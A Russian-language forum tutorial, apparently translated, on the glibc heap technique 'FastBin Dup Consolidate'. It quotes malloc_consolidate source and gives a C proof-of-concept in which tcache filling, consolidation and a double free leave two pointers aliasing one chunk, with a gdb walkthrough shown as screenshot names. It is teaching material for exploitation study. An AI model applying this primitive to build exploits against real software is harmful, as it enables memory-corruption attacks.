• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Heap Exploitation, FastBin Dup Consolidate (часть 4.2)

timeshout

RAID-массив
Пользователь
Регистрация
29.06.2022
Сообщения
62
Реакции
83
Введение в эксплуатацию двоичных файлов x64 Linux (часть 1)
Введение в бинарную эксплуатацию x64 Linux (часть 2)
Heap exploitation, Overflows (часть 3)
Heap exploitation, Use After Free & Double free (Часть 4)
Heap Exploitation, FastBin Dup to Stack (часть 4.1)

Возвращаясь к нашей теме, консолидация выполняется функцией malloc_consolidate, которая является специализированной версией функции free()[1]:
Код:
/*
4705   ------------------------- malloc_consolidate -------------------------
4706
4707   malloc_consolidate is a specialized version of free() that tears
4708   down chunks held in fastbins.  Free itself cannot be used for this
4709   purpose since, among other things, it might place chunks back onto
4710   fastbins.  So, instead, we need to use a minor variant of the same
4711   code.
4712 */


4714 static void malloc_consolidate(mstate av)
4715 {
4716   mfastbinptr*    fb;                 /* current fastbin being consolidated */
4717   mfastbinptr*    maxfb;              /* last fastbin (for loop control) */
4718   mchunkptr       p;                  /* current chunk being consolidated */
4719   mchunkptr       nextp;              /* next chunk to consolidate */
4720   mchunkptr       unsorted_bin;       /* bin header */
4721   mchunkptr       first_unsorted;     /* chunk to link to */
4722
4723   /* These have same use as in free() */
4724   mchunkptr       nextchunk;
4725   INTERNAL_SIZE_T size;
4726   INTERNAL_SIZE_T nextsize;
4727   INTERNAL_SIZE_T prevsize;
4728   int             nextinuse;
4729
4730   atomic_store_relaxed (&av->have_fastchunks, false);
4731
4732   unsorted_bin = unsorted_chunks(av);
4733
4734   /*
4735     Remove each chunk from fast bin and consolidate it, placing it
4736     then in unsorted bin. Among other reasons for doing this,
4737     placing in unsorted bin avoids needing to calculate actual bins
4738     until malloc is sure that chunks aren't immediately going to be
4739     reused anyway.
4740   */
4741
4742   maxfb = &fastbin (av, NFASTBINS - 1);
4743   fb = &fastbin (av, 0);
4744   do {
4745     p = atomic_exchange_acq (fb, NULL);
4746     if (p != 0) {
4747       do {
4748         {
4749           if (__glibc_unlikely (misaligned_chunk (p)))
4750             malloc_printerr ("malloc_consolidate(): "
4751                              "unaligned fastbin chunk detected");
4752
4753           unsigned int idx = fastbin_index (chunksize (p));
4754           if ((&fastbin (av, idx)) != fb)
4755             malloc_printerr ("malloc_consolidate(): invalid chunk size");
4756         }
4757
4758         check_inuse_chunk(av, p);
4759         nextp = REVEAL_PTR (p->fd);
4760
4761         /* Slightly streamlined version of consolidation code in free() */
4762         size = chunksize (p);
4763         nextchunk = chunk_at_offset(p, size);
4764         nextsize = chunksize(nextchunk);
4765
4766         if (!prev_inuse(p)) {
4767           prevsize = prev_size (p);
4768           size += prevsize;
4769           p = chunk_at_offset(p, -((long) prevsize));
4770           if (__glibc_unlikely (chunksize(p) != prevsize))
4771             malloc_printerr ("corrupted size vs. prev_size in fastbins");
4772           unlink_chunk (av, p);
4773         }
4774
4775         if (nextchunk != av->top) {
4776           nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
4777
4778           if (!nextinuse) {
4779             size += nextsize;
4780             unlink_chunk (av, nextchunk);
4781           } else
4782             clear_inuse_bit_at_offset(nextchunk, 0);
4783
4784           first_unsorted = unsorted_bin->fd;
4785           unsorted_bin->fd = p;
4786           first_unsorted->bk = p;
4787
4788           if (!in_smallbin_range (size)) {
4789             p->fd_nextsize = NULL;
4790             p->bk_nextsize = NULL;
4791           }
4792
4793           set_head(p, size | PREV_INUSE);
4794           p->bk = unsorted_bin;
4795           p->fd = first_unsorted;
4796           set_foot(p, size);
4797         }
4798
4799         else {
4800           size += nextsize;
4801           set_head(p, size | PREV_INUSE);
4802           av->top = p;
4803         }
4804
4805       } while ( (p = nextp) != 0);
4806
4807     }
4808   } while (fb++ != maxfb);
4809 }

Эта функция будет итерировать список FastBin, объединяя свободный чанк со следующим и/или предыдущим (4766-4783), а полученный чанк будет добавлен в несортированный список bin (4784). Объединение может быть вызвано функцией malloc, когда возникают особые условия:

1658630070611.png



Она также вызывается функциями malloc_init_state, malloc_trim, __libc_mallopt, а также функцией free, если размер освобождаемого куска ≥ 64 КБ:

1658630100222.png


В этом посте мы будем придерживаться malloc, поскольку это самый простой способ вызвать консолидацию Fastbins.

FastBin Dup Consolidate

C:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {

    printf("Fill up the tcache list to force the fastbin usage...\n");

    void *ptr[7];

    for(int i = 0; i < 7; i++)
        ptr[i] = malloc(0x40);
    for(int i = 0; i < 7; i++)
        free(ptr[i]);

    void* p1 = calloc(1,0x40);

    printf("Allocate another chunk of the same size p1=%p \n", p1);
      printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
      free(p1);

      void* p3 = malloc(0x400);
    printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
    printf("will trigger the malloc_consolidate and merge\n");
    printf("the fastbin chunks into the top chunk, thus\n");
    printf("p1 and p3 are now pointing to the same chunk !\n\n");

    assert(p1 == p3);

      printf("Triggering the double free vulnerability!\n\n");
    free(p1);

    void *p4 = malloc(0x400);

    assert(p4 == p3);

    printf("The double free added the chunk referenced by p1 \n");
    printf("to the tcache thus the next similar-size malloc will\n");
    printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}

Хотя приведенный выше код практически не требует пояснений, давайте уделим время нескольким моментам:

В строках 11-14 мы заполняем список tcache, чтобы принудительно использовать FastBin.
В строках 16-20 освобождение p1 добавит соответствующий чанк в список FastBin, поскольку список tcache уже заполнен для данного размера (0x40).
Следующее выделение (строка 22) вызовет консолидацию чанков в списке FastBin. Однако указатель p3 будет указывать на тот же адрес, что и p1, поскольку чанк p1 был объединен.
Освобождение p1 (снова в строке 22) добавит чанк в tcache, даже если на него все еще ссылается p3.
В строке 33 мы запрашиваем размер, который может быть удовлетворен последним добавлением в tcache (0x400). Поэтому p4 теперь будет указывать на тот же адрес, что и p3.


1658630213298.png


Давайте загрузим программу в gdb, чтобы увидеть все в действии:

1658630235528.png



1658630244593.png







Установите точку останова после free(p1) и после ее нажатия проверьте бины кучи:

1658630272633.png


Теперь зайдите в malloc до функции _int_malloc, где мы заметим вызов checked_request2size:

1658630291098.png


1658630298246.png




На последующем ответвлении _int_malloc проверит, может ли требование быть выполнено фастбинами (с помощью get_max_fast()):

1658630319660.png


1658630325513.png


Так как мы запросили размер 0x400 байт, эта проверка будет неудачной, что приведет к вызову malloc_consolidate:

1658630358144.png


Сразу после этого вызова чанк по адресу 0x5555555598e0 был слит:

1658630376913.png


Теперь malloc вернет 0x5555555598e0 в качестве ссылки на адрес нового чанка, чтобы удовлетворить выделение (см. последний перед верхним чанком ниже):

1658630393653.png


Двойное освобождение p1 переместит чанк в tcache:

1658630412391.png



Наконец, последний вызов malloc присвоит уже выделенный чанк p4 (см. $rax ниже), и на этом наше доказательство концепции будет завершено:

1658630436799.png




The toddler’s introduction to Heap Exploitation, FastBin Dup Consolidate (Part 4.2)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх